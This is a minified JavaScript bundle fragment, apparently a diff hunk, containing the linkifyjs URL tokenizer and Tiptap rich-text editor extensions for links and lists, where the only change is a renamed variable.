2嘉里0大酒店5在线2大拿2天主教3娱乐2家電2广东2微博2慈善2我爱你3手机2招聘2政务1府2新加坡2闻2时尚2書籍2机构2淡马锡3游戏2澳門2点看2移动2组织机构4网址1店1站1络2联通2谷歌2购物2通販2集团2電訊盈科4飞利浦3食品2餐厅2香格里拉3港2닷넷1컴2삼성2한국2",ux="numeric",hx="ascii",fx="alpha",Uc="asciinumeric",Oc="alphanumeric",px="domain",nC="emoji",x7="scheme",y7="slashscheme",dg="whitespace";function b7(t,e){return t in e||(e[t]=[]),e[t]}function oo(t,e,n){e[ux]&&(e[Uc]=!0,e[Oc]=!0),e[hx]&&(e[Uc]=!0,e[fx]=!0),e[Uc]&&(e[Oc]=!0),e[fx]&&(e[Oc]=!0),e[Oc]&&(e[px]=!0),e[nC]&&(e[px]=!0);for(const r in e){const a=b7(r,n);a.indexOf(t)<0&&a.push(t)}}function v7(t,e){const n={};for(const r in e)e[r].indexOf(t)>=0&&(n[r]=!0);return n}function Mr(t=null){this.j={},this.jr=[],this.jd=null,this.t=t}Mr.groups={};Mr.prototype={accepts(){return!!this.t},go(t){const e=this,n=e.j[t];if(n)return n;for(let r=0;rt.ta(e,n,r,a),un=(t,e,n,r,a)=>t.tr(e,n,r,a),TN=(t,e,n,r,a)=>t.ts(e,n,r,a),Te=(t,e,n,r,a)=>t.tt(e,n,r,a),ga="WORD",mx="UWORD",rC="ASCIINUMERICAL",sC="ALPHANUMERICAL",dd="LOCALHOST",gx="TLD",xx="UTLD",rh="SCHEME",ul="SLASH_SCHEME",L0="NUM",yx="WS",_0="NL",Kc="OPENBRACE",qc="CLOSEBRACE",Ih="OPENBRACKET",Rh="CLOSEBRACKET",Ph="OPENPAREN",Oh="CLOSEPAREN",Dh="OPENANGLEBRACKET",Lh="CLOSEANGLEBRACKET",_h="FULLWIDTHLEFTPAREN",zh="FULLWIDTHRIGHTPAREN",$h="LEFTCORNERBRACKET",Fh="RIGHTCORNERBRACKET",Bh="LEFTWHITECORNERBRACKET",Vh="RIGHTWHITECORNERBRACKET",Hh="FULLWIDTHLESSTHAN",Wh="FULLWIDTHGREATERTHAN",Uh="AMPERSAND",Kh="APOSTROPHE",qh="ASTERISK",ni="AT",Gh="BACKSLASH",Jh="BACKTICK",Yh="CARET",ai="COLON",z0="COMMA",Qh="DOLLAR",$s="DOT",Xh="EQUALS",$0="EXCLAMATION",rs="HYPHEN",Gc="PERCENT",Zh="PIPE",ef="PLUS",tf="POUND",Jc="QUERY",F0="QUOTE",aC="FULLWIDTHMIDDLEDOT",B0="SEMI",Fs="SLASH",Yc="TILDE",nf="UNDERSCORE",iC="EMOJI",rf="SYM";var oC=Object.freeze({__proto__:null,ALPHANUMERICAL:sC,AMPERSAND:Uh,APOSTROPHE:Kh,ASCIINUMERICAL:rC,ASTERISK:qh,AT:ni,BACKSLASH:Gh,BACKTICK:Jh,CARET:Yh,CLOSEANGLEBRACKET:Lh,CLOSEBRACE:qc,CLOSEBRACKET:Rh,CLOSEPAREN:Oh,COLON:ai,COMMA:z0,DOLLAR:Qh,DOT:$s,EMOJI:iC,EQUALS:Xh,EXCLAMATION:$0,FULLWIDTHGREATERTHAN:Wh,FULLWIDTHLEFTPAREN:_h,FULLWIDTHLESSTHAN:Hh,FULLWIDTHMIDDLEDOT:aC,FULLWIDTHRIGHTPAREN:zh,HYPHEN:rs,LEFTCORNERBRACKET:$h,LEFTWHITECORNERBRACKET:Bh,LOCALHOST:dd,NL:_0,NUM:L0,OPENANGLEBRACKET:Dh,OPENBRACE:Kc,OPENBRACKET:Ih,OPENPAREN:Ph,PERCENT:Gc,PIPE:Zh,PLUS:ef,POUND:tf,QUERY:Jc,QUOTE:F0,RIGHTCORNERBRACKET:Fh,RIGHTWHITECORNERBRACKET:Vh,SCHEME:rh,SEMI:B0,SLASH:Fs,SLASH_SCHEME:ul,SYM:rf,TILDE:Yc,TLD:gx,UNDERSCORE:nf,UTLD:xx,UWORD:mx,WORD:ga,WS:yx});const pa=/[a-z]/,Mc=new RegExp("\\p{L}","u"),ug=new RegExp("\\p{Emoji}","u"),ma=/\d/,hg=/\s/,MN="\r",fg=` -`,N7="️",w7="‍",pg="";let Hu=null,Wu=null;function j7(t=[]){const e={};Mr.groups=e;const n=new Mr;Hu==null&&(Hu=AN(m7)),Wu==null&&(Wu=AN(g7)),Te(n,"'",Kh),Te(n,"{",Kc),Te(n,"}",qc),Te(n,"[",Ih),Te(n,"]",Rh),Te(n,"(",Ph),Te(n,")",Oh),Te(n,"<",Dh),Te(n,">",Lh),Te(n,"(",_h),Te(n,")",zh),Te(n,"「",$h),Te(n,"」",Fh),Te(n,"『",Bh),Te(n,"』",Vh),Te(n,"<",Hh),Te(n,">",Wh),Te(n,"&",Uh),Te(n,"*",qh),Te(n,"@",ni),Te(n,"`",Jh),Te(n,"^",Yh),Te(n,":",ai),Te(n,",",z0),Te(n,"$",Qh),Te(n,".",$s),Te(n,"=",Xh),Te(n,"!",$0),Te(n,"-",rs),Te(n,"%",Gc),Te(n,"|",Zh),Te(n,"+",ef),Te(n,"#",tf),Te(n,"?",Jc),Te(n,'"',F0),Te(n,"/",Fs),Te(n,";",B0),Te(n,"~",Yc),Te(n,"_",nf),Te(n,"\\",Gh),Te(n,"・",aC);const r=un(n,ma,L0,{[ux]:!0});un(r,ma,r);const a=un(r,pa,rC,{[Uc]:!0}),i=un(r,Mc,sC,{[Oc]:!0}),o=un(n,pa,ga,{[hx]:!0});un(o,ma,a),un(o,pa,o),un(a,ma,a),un(a,pa,a);const c=un(n,Mc,mx,{[fx]:!0});un(c,pa),un(c,ma,i),un(c,Mc,c),un(i,ma,i),un(i,pa),un(i,Mc,i);const u=Te(n,fg,_0,{[dg]:!0}),h=Te(n,MN,yx,{[dg]:!0}),f=un(n,hg,yx,{[dg]:!0});Te(n,pg,f),Te(h,fg,u),Te(h,pg,f),un(h,hg,f),Te(f,MN),Te(f,fg),un(f,hg,f),Te(f,pg,f);const m=un(n,ug,iC,{[nC]:!0});Te(m,"#"),un(m,ug,m),Te(m,N7,m);const g=Te(m,w7);Te(g,"#"),un(g,ug,m);const y=[[pa,o],[ma,a]],N=[[pa,null],[Mc,c],[ma,i]];for(let w=0;ww[0]>v[0]?1:-1);for(let w=0;w=0?C[px]=!0:pa.test(v)?ma.test(v)?C[Uc]=!0:C[hx]=!0:C[ux]=!0,TN(n,v,v,C)}return TN(n,"localhost",dd,{ascii:!0}),n.jd=new Mr(rf),{start:n,tokens:Object.assign({groups:e},oC)}}function lC(t,e){const n=k7(e.replace(/[A-Z]/g,c=>c.toLowerCase())),r=n.length,a=[];let i=0,o=0;for(;o=0&&(m+=n[o].length,g++),h+=n[o].length,i+=n[o].length,o++;i-=m,o-=g,h-=m,a.push({t:f.t,v:e.slice(i-h,i),s:i-h,e:i})}return a}function k7(t){const e=[],n=t.length;let r=0;for(;r56319||r+1===n||(i=t.charCodeAt(r+1))<56320||i>57343?t[r]:t.slice(r,r+2);e.push(o),r+=o.length}return e}function Qa(t,e,n,r,a){let i;const o=e.length;for(let c=0;c=0;)i++;if(i>0){e.push(n.join(""));for(let o=parseInt(t.substring(r,r+i),10);o>0;o--)n.pop();r+=i}else n.push(t[r]),r++}return e}const ud={defaultProtocol:"http",events:null,format:IN,formatHref:IN,nl2br:!1,tagName:"a",target:null,rel:null,validate:!0,truncate:1/0,className:null,attributes:null,ignoreTags:[],render:null};function V0(t,e=null){let n=Object.assign({},ud);t&&(n=Object.assign(n,t instanceof V0?t.o:t));const r=n.ignoreTags,a=[];for(let i=0;in?r.substring(0,n)+"…":r},toFormattedHref(t){return t.get("formatHref",this.toHref(t.get("defaultProtocol")),this)},startIndex(){return this.tk[0].s},endIndex(){return this.tk[this.tk.length-1].e},toObject(t=ud.defaultProtocol){return{type:this.t,value:this.toString(),isLink:this.isLink,href:this.toHref(t),start:this.startIndex(),end:this.endIndex()}},toFormattedObject(t){return{type:this.t,value:this.toFormattedString(t),isLink:this.isLink,href:this.toFormattedHref(t),start:this.startIndex(),end:this.endIndex()}},validate(t){return t.get("validate",this.toString(),this)},render(t){const e=this,n=this.toHref(t.get("defaultProtocol")),r=t.get("formatHref",n,this),a=t.get("tagName",n,e),i=this.toFormattedString(t),o={},c=t.get("className",n,e),u=t.get("target",n,e),h=t.get("rel",n,e),f=t.getObj("attributes",n,e),m=t.getObj("events",n,e);return o.href=r,c&&(o.class=c),u&&(o.target=u),h&&(o.rel=h),f&&Object.assign(o,f),{tagName:a,attributes:o,content:i,eventListeners:m}}};function _f(t,e){class n extends cC{constructor(a,i){super(a,i),this.t=t}}for(const r in e)n.prototype[r]=e[r];return n.t=t,n}const RN=_f("email",{isLink:!0,toHref(){return"mailto:"+this.toString()}}),PN=_f("text"),S7=_f("nl"),Uu=_f("url",{isLink:!0,toHref(t=ud.defaultProtocol){return this.hasProtocol()?this.v:`${t}://${this.v}`},hasProtocol(){const t=this.tk;return t.length>=2&&t[0].t!==dd&&t[1].t===ai}}),ns=t=>new Mr(t);function C7({groups:t}){const e=t.domain.concat([Uh,qh,ni,Gh,Jh,Yh,Qh,Xh,rs,L0,Gc,Zh,ef,tf,Fs,rf,Yc,nf]),n=[Kh,ai,z0,$s,$0,Gc,Jc,F0,B0,Dh,Lh,Kc,qc,Rh,Ih,Ph,Oh,_h,zh,$h,Fh,Bh,Vh,Hh,Wh],r=[Uh,Kh,qh,Gh,Jh,Yh,Qh,Xh,rs,Kc,qc,Gc,Zh,ef,tf,Jc,Fs,rf,Yc,nf],a=ns(),i=Te(a,Yc);dt(i,r,i),dt(i,t.domain,i);const o=ns(),c=ns(),u=ns();dt(a,t.domain,o),dt(a,t.scheme,c),dt(a,t.slashscheme,u),dt(o,r,i),dt(o,t.domain,o);const h=Te(o,ni);Te(i,ni,h),Te(c,ni,h),Te(u,ni,h);const f=Te(i,$s);dt(f,r,i),dt(f,t.domain,i);const m=ns();dt(h,t.domain,m),dt(m,t.domain,m);const g=Te(m,$s);dt(g,t.domain,m);const y=ns(RN);dt(g,t.tld,y),dt(g,t.utld,y),Te(h,dd,y);const N=Te(m,rs);Te(N,rs,N),dt(N,t.domain,m),dt(y,t.domain,m),Te(y,$s,g),Te(y,rs,N);const w=Te(y,ai);dt(w,t.numeric,RN);const v=Te(o,rs),k=Te(o,$s);Te(v,rs,v),dt(v,t.domain,o),dt(k,r,i),dt(k,t.domain,o);const C=ns(Uu);dt(k,t.tld,C),dt(k,t.utld,C),dt(C,t.domain,o),dt(C,r,i),Te(C,$s,k),Te(C,rs,v),Te(C,ni,h);const E=Te(C,ai),T=ns(Uu);dt(E,t.numeric,T);const I=ns(Uu),O=ns();dt(I,e,I),dt(I,n,O),dt(O,e,I),dt(O,n,O),Te(C,Fs,I),Te(T,Fs,I);const L=Te(c,ai),R=Te(u,ai),D=Te(R,Fs),_=Te(D,Fs);dt(c,t.domain,o),Te(c,$s,k),Te(c,rs,v),dt(u,t.domain,o),Te(u,$s,k),Te(u,rs,v),dt(L,t.domain,I),Te(L,Fs,I),Te(L,Jc,I),dt(_,t.domain,I),dt(_,e,I),Te(_,Fs,I);const Z=[[Kc,qc],[Ih,Rh],[Ph,Oh],[Dh,Lh],[_h,zh],[$h,Fh],[Bh,Vh],[Hh,Wh]];for(let ne=0;ne=0&&g++,a++,f++;if(g<0)a-=f,a0&&(i.push(mg(PN,e,o)),o=[]),a-=g,f-=g;const y=m.t,N=n.slice(a-f,a);i.push(mg(y,e,N))}}return o.length>0&&i.push(mg(PN,e,o)),i}function mg(t,e,n){const r=n[0].s,a=n[n.length-1].e,i=e.slice(r,a);return new t(i,n)}const T7=typeof console<"u"&&console&&console.warn||(()=>{}),M7="until manual call of linkify.init(). Register all schemes and plugins before invoking linkify the first time.",Jt={scanner:null,parser:null,tokenQueue:[],pluginQueue:[],customSchemes:[],initialized:!1};function A7(){return Mr.groups={},Jt.scanner=null,Jt.parser=null,Jt.tokenQueue=[],Jt.pluginQueue=[],Jt.customSchemes=[],Jt.initialized=!1,Jt}function ON(t,e=!1){if(Jt.initialized&&T7(`linkifyjs: already initialized - will not register custom scheme "${t}" ${M7}`),!/^[0-9a-z]+(-[0-9a-z]+)*$/.test(t))throw new Error(`linkifyjs: incorrect scheme format. +`,N7="️",w7="‍",pg="";let Hu=null,Wu=null;function j7(t=[]){const e={};Mr.groups=e;const n=new Mr;Hu==null&&(Hu=AN(m7)),Wu==null&&(Wu=AN(g7)),Te(n,"'",Kh),Te(n,"{",Kc),Te(n,"}",qc),Te(n,"[",Ih),Te(n,"]",Rh),Te(n,"(",Ph),Te(n,")",Oh),Te(n,"<",Dh),Te(n,">",Lh),Te(n,"(",_h),Te(n,")",zh),Te(n,"「",$h),Te(n,"」",Fh),Te(n,"『",Bh),Te(n,"』",Vh),Te(n,"<",Hh),Te(n,">",Wh),Te(n,"&",Uh),Te(n,"*",qh),Te(n,"@",ni),Te(n,"`",Jh),Te(n,"^",Yh),Te(n,":",ai),Te(n,",",z0),Te(n,"$",Qh),Te(n,".",$s),Te(n,"=",Xh),Te(n,"!",$0),Te(n,"-",rs),Te(n,"%",Gc),Te(n,"|",Zh),Te(n,"+",ef),Te(n,"#",tf),Te(n,"?",Jc),Te(n,'"',F0),Te(n,"/",Fs),Te(n,";",B0),Te(n,"~",Yc),Te(n,"_",nf),Te(n,"\\",Gh),Te(n,"・",aC);const r=un(n,ma,L0,{[ux]:!0});un(r,ma,r);const a=un(r,pa,rC,{[Uc]:!0}),i=un(r,Mc,sC,{[Oc]:!0}),o=un(n,pa,ga,{[hx]:!0});un(o,ma,a),un(o,pa,o),un(a,ma,a),un(a,pa,a);const c=un(n,Mc,mx,{[fx]:!0});un(c,pa),un(c,ma,i),un(c,Mc,c),un(i,ma,i),un(i,pa),un(i,Mc,i);const u=Te(n,fg,_0,{[dg]:!0}),h=Te(n,MN,yx,{[dg]:!0}),f=un(n,hg,yx,{[dg]:!0});Te(n,pg,f),Te(h,fg,u),Te(h,pg,f),un(h,hg,f),Te(f,MN),Te(f,fg),un(f,hg,f),Te(f,pg,f);const m=un(n,ug,iC,{[nC]:!0});Te(m,"#"),un(m,ug,m),Te(m,N7,m);const g=Te(m,w7);Te(g,"#"),un(g,ug,m);const y=[[pa,o],[ma,a]],N=[[pa,null],[Mc,c],[ma,i]];for(let w=0;ww[0]>v[0]?1:-1);for(let w=0;w=0?C[px]=!0:pa.test(v)?ma.test(v)?C[Uc]=!0:C[hx]=!0:C[ux]=!0,TN(n,v,v,C)}return TN(n,"localhost",dd,{ascii:!0}),n.jd=new Mr(rf),{start:n,tokens:Object.assign({groups:e},oC)}}function lC(t,e){const n=k7(e.replace(/[A-Z]/g,c=>c.toLowerCase())),r=n.length,a=[];let i=0,o=0;for(;o=0&&(m+=n[o].length,g++),h+=n[o].length,i+=n[o].length,o++;i-=m,o-=g,h-=m,a.push({t:f.t,v:e.slice(i-h,i),s:i-h,e:i})}return a}function k7(t){const e=[],n=t.length;let r=0;for(;r56319||r+1===n||(i=t.charCodeAt(r+1))<56320||i>57343?t[r]:t.slice(r,r+2);e.push(o),r+=o.length}return e}function Qa(t,e,n,r,a){let i;const o=e.length;for(let c=0;c=0;)i++;if(i>0){e.push(n.join(""));for(let o=parseInt(t.substring(r,r+i),10);o>0;o--)n.pop();r+=i}else n.push(t[r]),r++}return e}const ud={defaultProtocol:"http",events:null,format:IN,formatHref:IN,nl2br:!1,tagName:"a",target:null,rel:null,validate:!0,truncate:1/0,className:null,attributes:null,ignoreTags:[],render:null};function V0(t,e=null){let n=Object.assign({},ud);t&&(n=Object.assign(n,t instanceof V0?t.o:t));const r=n.ignoreTags,a=[];for(let i=0;in?r.substring(0,n)+"…":r},toFormattedHref(t){return t.get("formatHref",this.toHref(t.get("defaultProtocol")),this)},startIndex(){return this.tk[0].s},endIndex(){return this.tk[this.tk.length-1].e},toObject(t=ud.defaultProtocol){return{type:this.t,value:this.toString(),isLink:this.isLink,href:this.toHref(t),start:this.startIndex(),end:this.endIndex()}},toFormattedObject(t){return{type:this.t,value:this.toFormattedString(t),isLink:this.isLink,href:this.toFormattedHref(t),start:this.startIndex(),end:this.endIndex()}},validate(t){return t.get("validate",this.toString(),this)},render(t){const e=this,n=this.toHref(t.get("defaultProtocol")),r=t.get("formatHref",n,this),a=t.get("tagName",n,e),i=this.toFormattedString(t),o={},c=t.get("className",n,e),u=t.get("target",n,e),h=t.get("rel",n,e),f=t.getObj("attributes",n,e),m=t.getObj("events",n,e);return o.href=r,c&&(o.class=c),u&&(o.target=u),h&&(o.rel=h),f&&Object.assign(o,f),{tagName:a,attributes:o,content:i,eventListeners:m}}};function _f(t,e){class n extends cC{constructor(a,i){super(a,i),this.t=t}}for(const r in e)n.prototype[r]=e[r];return n.t=t,n}const RN=_f("email",{isLink:!0,toHref(){return"mailto:"+this.toString()}}),PN=_f("text"),S7=_f("nl"),Uu=_f("url",{isLink:!0,toHref(t=ud.defaultProtocol){return this.hasProtocol()?this.v:`${t}://${this.v}`},hasProtocol(){const t=this.tk;return t.length>=2&&t[0].t!==dd&&t[1].t===ai}}),ns=t=>new Mr(t);function C7({groups:t}){const e=t.domain.concat([Uh,qh,ni,Gh,Jh,Yh,Qh,Xh,rs,L0,Gc,Zh,ef,tf,Fs,rf,Yc,nf]),n=[Kh,ai,z0,$s,$0,Gc,Jc,F0,B0,Dh,Lh,Kc,qc,Rh,Ih,Ph,Oh,_h,zh,$h,Fh,Bh,Vh,Hh,Wh],r=[Uh,Kh,qh,Gh,Jh,Yh,Qh,Xh,rs,Kc,qc,Gc,Zh,ef,tf,Jc,Fs,rf,Yc,nf],a=ns(),i=Te(a,Yc);dt(i,r,i),dt(i,t.domain,i);const o=ns(),c=ns(),u=ns();dt(a,t.domain,o),dt(a,t.scheme,c),dt(a,t.slashscheme,u),dt(o,r,i),dt(o,t.domain,o);const h=Te(o,ni);Te(i,ni,h),Te(c,ni,h),Te(u,ni,h);const f=Te(i,$s);dt(f,r,i),dt(f,t.domain,i);const m=ns();dt(h,t.domain,m),dt(m,t.domain,m);const g=Te(m,$s);dt(g,t.domain,m);const y=ns(RN);dt(g,t.tld,y),dt(g,t.utld,y),Te(h,dd,y);const N=Te(m,rs);Te(N,rs,N),dt(N,t.domain,m),dt(y,t.domain,m),Te(y,$s,g),Te(y,rs,N);const w=Te(y,ai);dt(w,t.numeric,RN);const v=Te(o,rs),k=Te(o,$s);Te(v,rs,v),dt(v,t.domain,o),dt(k,r,i),dt(k,t.domain,o);const C=ns(Uu);dt(k,t.tld,C),dt(k,t.utld,C),dt(C,t.domain,o),dt(C,r,i),Te(C,$s,k),Te(C,rs,v),Te(C,ni,h);const E=Te(C,ai),T=ns(Uu);dt(E,t.numeric,T);const I=ns(Uu),O=ns();dt(I,e,I),dt(I,n,O),dt(O,e,I),dt(O,n,O),Te(C,Fs,I),Te(T,Fs,I);const L=Te(c,ai),R=Te(u,ai),D=Te(R,Fs),z=Te(D,Fs);dt(c,t.domain,o),Te(c,$s,k),Te(c,rs,v),dt(u,t.domain,o),Te(u,$s,k),Te(u,rs,v),dt(L,t.domain,I),Te(L,Fs,I),Te(L,Jc,I),dt(z,t.domain,I),dt(z,e,I),Te(z,Fs,I);const Z=[[Kc,qc],[Ih,Rh],[Ph,Oh],[Dh,Lh],[_h,zh],[$h,Fh],[Bh,Vh],[Hh,Wh]];for(let ne=0;ne=0&&g++,a++,f++;if(g<0)a-=f,a0&&(i.push(mg(PN,e,o)),o=[]),a-=g,f-=g;const y=m.t,N=n.slice(a-f,a);i.push(mg(y,e,N))}}return o.length>0&&i.push(mg(PN,e,o)),i}function mg(t,e,n){const r=n[0].s,a=n[n.length-1].e,i=e.slice(r,a);return new t(i,n)}const T7=typeof console<"u"&&console&&console.warn||(()=>{}),M7="until manual call of linkify.init(). Register all schemes and plugins before invoking linkify the first time.",Jt={scanner:null,parser:null,tokenQueue:[],pluginQueue:[],customSchemes:[],initialized:!1};function A7(){return Mr.groups={},Jt.scanner=null,Jt.parser=null,Jt.tokenQueue=[],Jt.pluginQueue=[],Jt.customSchemes=[],Jt.initialized=!1,Jt}function ON(t,e=!1){if(Jt.initialized&&T7(`linkifyjs: already initialized - will not register custom scheme "${t}" ${M7}`),!/^[0-9a-z]+(-[0-9a-z]+)*$/.test(t))throw new Error(`linkifyjs: incorrect scheme format. 1. Must only contain digits, lowercase ASCII letters or "-" 2. Cannot start or end with "-" 3. "-" cannot repeat`);Jt.customSchemes.push([t,e])}function I7(){Jt.scanner=j7(Jt.customSchemes);for(let t=0;t{const a=e.some(h=>h.docChanged)&&!n.doc.eq(r.doc),i=e.some(h=>h.getMeta("preventAutolink"));if(!a||i)return;const{tr:o}=r,c=N2(n.doc,[...e]);if(M2(c).forEach(({newRange:h})=>{const f=D8(r.doc,h,y=>y.isTextblock);let m,g;if(f.length>1)m=f[0],g=r.doc.textBetween(m.pos,m.pos+m.node.nodeSize,void 0," ");else if(f.length){const y=r.doc.textBetween(h.from,h.to," "," ");if(!P7.test(y))return;m=f[0],g=r.doc.textBetween(m.pos,h.to,void 0," ")}if(m&&g){const y=g.split(R7).filter(Boolean);if(y.length<=0)return!1;const N=y[y.length-1],w=m.pos+g.lastIndexOf(N);if(!N)return!1;const v=H0(N).map(k=>k.toObject(t.defaultProtocol));if(!D7(v))return!1;v.filter(k=>k.isLink).map(k=>({...k,from:w+k.start+1,to:w+k.end+1})).filter(k=>r.schema.marks.code?!r.doc.rangeHasMark(k.from,k.to,r.schema.marks.code):!0).filter(k=>t.validate(k.value)).filter(k=>t.shouldAutoLink(k.value)).forEach(k=>{A0(k.from,k.to,r.doc).some(C=>C.mark.type===t.type)||o.addMark(k.from,k.to,t.type.create({href:k.href}))})}}),!!o.steps.length)return o}})}function _7(t){return new Kt({key:new tn("handleClickLink"),props:{handleClick:(e,n,r)=>{var a,i;if(r.button!==0||!e.editable)return!1;let o=null;if(r.target instanceof HTMLAnchorElement)o=r.target;else{const u=r.target;if(!u)return!1;const h=t.editor.view.dom;o=u.closest("a"),o&&!h.contains(o)&&(o=null)}if(!o)return!1;let c=!1;if(t.enableClickSelection&&(c=t.editor.commands.extendMarkRange(t.type.name)),t.openOnClick){const u=T2(e.state,t.type.name),h=(a=o.href)!=null?a:u.href,f=(i=o.target)!=null?i:u.target;h&&(window.open(h,f),c=!0)}return c}}})}function z7(t){return new Kt({key:new tn("handlePasteLink"),props:{handlePaste:(e,n,r)=>{const{shouldAutoLink:a}=t,{state:i}=e,{selection:o}=i,{empty:c}=o;if(c)return!1;let u="";r.content.forEach(f=>{u+=f.textContent});const h=dC(u,{defaultProtocol:t.defaultProtocol}).find(f=>f.isLink&&f.value===u);return!u||!h||a!==void 0&&!a(h.value)?!1:t.editor.commands.setMark(t.type,{href:h.href})}}})}function eo(t,e){const n=["http","https","ftp","ftps","mailto","tel","callto","sms","cid","xmpp"];return e&&e.forEach(r=>{const a=typeof r=="string"?r:r.scheme;a&&n.push(a)}),!t||t.replace(O7,"").match(new RegExp(`^(?:(?:${n.join("|")}):|[^a-z]|[a-z0-9+.-]+(?:[^a-z+.-:]|$))`,"i"))}var $7=Ao.create({name:"link",priority:1e3,keepOnSplit:!1,exitable:!0,onCreate(){this.options.validate&&!this.options.shouldAutoLink&&(this.options.shouldAutoLink=this.options.validate,console.warn("The `validate` option is deprecated. Rename to the `shouldAutoLink` option instead.")),this.options.protocols.forEach(t=>{if(typeof t=="string"){ON(t);return}ON(t.scheme,t.optionalSlashes)})},onDestroy(){A7()},inclusive(){return this.options.autolink},addOptions(){return{openOnClick:!0,enableClickSelection:!1,linkOnPaste:!0,autolink:!0,protocols:[],defaultProtocol:"http",HTMLAttributes:{target:"_blank",rel:"noopener noreferrer nofollow",class:null},isAllowedUri:(t,e)=>!!eo(t,e.protocols),validate:t=>!!t,shouldAutoLink:t=>{const e=/^[a-z][a-z0-9+.-]*:\/\//i.test(t),n=/^[a-z][a-z0-9+.-]*:/i.test(t);if(e||n&&!t.includes("@"))return!0;const a=(t.includes("@")?t.split("@").pop():t).split(/[/?#:]/)[0];return!(/^\d{1,3}(\.\d{1,3}){3}$/.test(a)||!/\./.test(a))}}},addAttributes(){return{href:{default:null,parseHTML(t){return t.getAttribute("href")}},target:{default:this.options.HTMLAttributes.target},rel:{default:this.options.HTMLAttributes.rel},class:{default:this.options.HTMLAttributes.class},title:{default:null}}},parseHTML(){return[{tag:"a[href]",getAttrs:t=>{const e=t.getAttribute("href");return!e||!this.options.isAllowedUri(e,{defaultValidate:n=>!!eo(n,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:null}}]},renderHTML({HTMLAttributes:t}){return this.options.isAllowedUri(t.href,{defaultValidate:e=>!!eo(e,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?["a",St(this.options.HTMLAttributes,t),0]:["a",St(this.options.HTMLAttributes,{...t,href:""}),0]},markdownTokenName:"link",parseMarkdown:(t,e)=>e.applyMark("link",e.parseInline(t.tokens||[]),{href:t.href,title:t.title||null}),renderMarkdown:(t,e)=>{var n,r,a,i;const o=(r=(n=t.attrs)==null?void 0:n.href)!=null?r:"",c=(i=(a=t.attrs)==null?void 0:a.title)!=null?i:"",u=e.renderChildren(t);return c?`[${u}](${o} "${c}")`:`[${u}](${o})`},addCommands(){return{setLink:t=>({chain:e})=>{const{href:n}=t;return this.options.isAllowedUri(n,{defaultValidate:r=>!!eo(r,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?e().setMark(this.name,t).setMeta("preventAutolink",!0).run():!1},toggleLink:t=>({chain:e})=>{const{href:n}=t||{};return n&&!this.options.isAllowedUri(n,{defaultValidate:r=>!!eo(r,this.options.protocols),protocols:this.options.protocols,defaultProtocol:this.options.defaultProtocol})?!1:e().toggleMark(this.name,t,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()},unsetLink:()=>({chain:t})=>t().unsetMark(this.name,{extendEmptyMarkRange:!0}).setMeta("preventAutolink",!0).run()}},addPasteRules(){return[jo({find:t=>{const e=[];if(t){const{protocols:n,defaultProtocol:r}=this.options,a=dC(t).filter(i=>i.isLink&&this.options.isAllowedUri(i.value,{defaultValidate:o=>!!eo(o,n),protocols:n,defaultProtocol:r}));a.length&&a.forEach(i=>{this.options.shouldAutoLink(i.value)&&e.push({text:i.value,data:{href:i.href},index:i.start})})}return e},type:this.type,getAttributes:t=>{var e;return{href:(e=t.data)==null?void 0:e.href}}})]},addProseMirrorPlugins(){const t=[],{protocols:e,defaultProtocol:n}=this.options;return this.options.autolink&&t.push(L7({type:this.type,defaultProtocol:this.options.defaultProtocol,validate:r=>this.options.isAllowedUri(r,{defaultValidate:a=>!!eo(a,e),protocols:e,defaultProtocol:n}),shouldAutoLink:this.options.shouldAutoLink})),t.push(_7({type:this.type,editor:this.editor,openOnClick:this.options.openOnClick==="whenNotEditable"?!0:this.options.openOnClick,enableClickSelection:this.options.enableClickSelection})),this.options.linkOnPaste&&t.push(z7({editor:this.editor,defaultProtocol:this.options.defaultProtocol,type:this.type,shouldAutoLink:this.options.shouldAutoLink})),t}}),F7=Object.defineProperty,B7=(t,e)=>{for(var n in e)F7(t,n,{get:e[n],enumerable:!0})},V7="listItem",DN="textStyle",LN=/^\s*([-+*])\s$/,uC=Cn.create({name:"bulletList",addOptions(){return{itemTypeName:"listItem",HTMLAttributes:{},keepMarks:!1,keepAttributes:!1}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:"ul"}]},renderHTML({HTMLAttributes:t}){return["ul",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"list",parseMarkdown:(t,e)=>t.type!=="list"||t.ordered?[]:{type:"bulletList",content:t.items?e.parseChildren(t.items):[]},renderMarkdown:(t,e)=>t.content?e.renderChildren(t.content,` @@ -747,11 +747,11 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: `):"",markdownTokenizer:{name:"orderedList",level:"block",start:t=>{const e=t.match(/^(\s*)(\d+)\.\s+/),n=e==null?void 0:e.index;return n!==void 0?n:-1},tokenize:(t,e,n)=>{var r;const a=t.split(` `),[i,o]=K7(a);if(i.length===0)return;const c=bC(i,0,n);return c.length===0?void 0:{type:"list",ordered:!0,start:((r=i[0])==null?void 0:r.number)||1,items:c,raw:a.slice(0,o).join(` `)}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleOrderedList:()=>({commands:t,chain:e})=>this.options.keepAttributes?e().toggleList(this.name,this.options.itemTypeName,this.options.keepMarks).updateAttributes(G7,this.editor.getAttributes(zN)).run():t.toggleList(this.name,this.options.itemTypeName,this.options.keepMarks)}},addKeyboardShortcuts(){return{"Mod-Shift-7":()=>this.editor.commands.toggleOrderedList()}},addInputRules(){let t=Al({find:$N,type:this.type,getAttributes:e=>({start:+e[1]}),joinPredicate:(e,n)=>n.childCount+n.attrs.start===+e[1]});return(this.options.keepMarks||this.options.keepAttributes)&&(t=Al({find:$N,type:this.type,keepMarks:this.options.keepMarks,keepAttributes:this.options.keepAttributes,getAttributes:e=>({start:+e[1],...this.editor.getAttributes(zN)}),joinPredicate:(e,n)=>n.childCount+n.attrs.start===+e[1],editor:this.editor})),[t]}}),J7=/^\s*(\[([( |x])?\])\s$/,Y7=Cn.create({name:"taskItem",addOptions(){return{nested:!1,HTMLAttributes:{},taskListTypeName:"taskList",a11y:void 0}},content(){return this.options.nested?"paragraph block*":"paragraph+"},defining:!0,addAttributes(){return{checked:{default:!1,keepOnSplit:!1,parseHTML:t=>{const e=t.getAttribute("data-checked");return 